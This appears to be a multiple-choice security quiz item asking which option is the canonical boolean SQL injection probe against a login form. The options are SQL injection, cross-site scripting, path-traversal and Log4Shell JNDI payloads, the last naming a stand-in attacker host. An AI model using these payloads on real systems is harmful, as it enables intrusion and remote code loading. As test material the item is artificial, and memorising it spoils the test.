Which payload is the canonical 'blind boolean' SQL injection probe against a login form?

• 1' OR 1=1 --
• 2<script>alert(1)</script>
• 3../../../../etc/passwd
• 4${jndi:ldap://evil.tld/x}